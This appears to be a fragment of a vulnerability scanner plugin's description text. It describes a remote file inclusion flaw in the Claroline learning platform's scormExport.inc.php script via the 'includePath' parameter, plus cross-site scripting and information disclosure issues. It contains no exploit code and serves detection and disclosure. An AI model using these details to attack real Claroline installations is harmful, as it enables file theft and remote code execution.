"The remote host is running Claroline, an open source, web-based,
collaborative learning environment written in PHP. 

The version of Claroline installed on the remote host fails to
sanitize input to the 'includePath' parameter before using it in the
'claroline/learnPath/include/scormExport.inc.php' script to include
files with PHP code.  Provided PHP's 'register_globals' setting is
enabled, an unauthenticated attacker may be able to exploit this issue
to view arbitrary files on the remote host or to execute arbitrary PHP
code, possibly taken from third-party hosts. 

In addition, the installation reportedly suffers from a cross-site
scripting and several information disclosure vulnerabilities." );
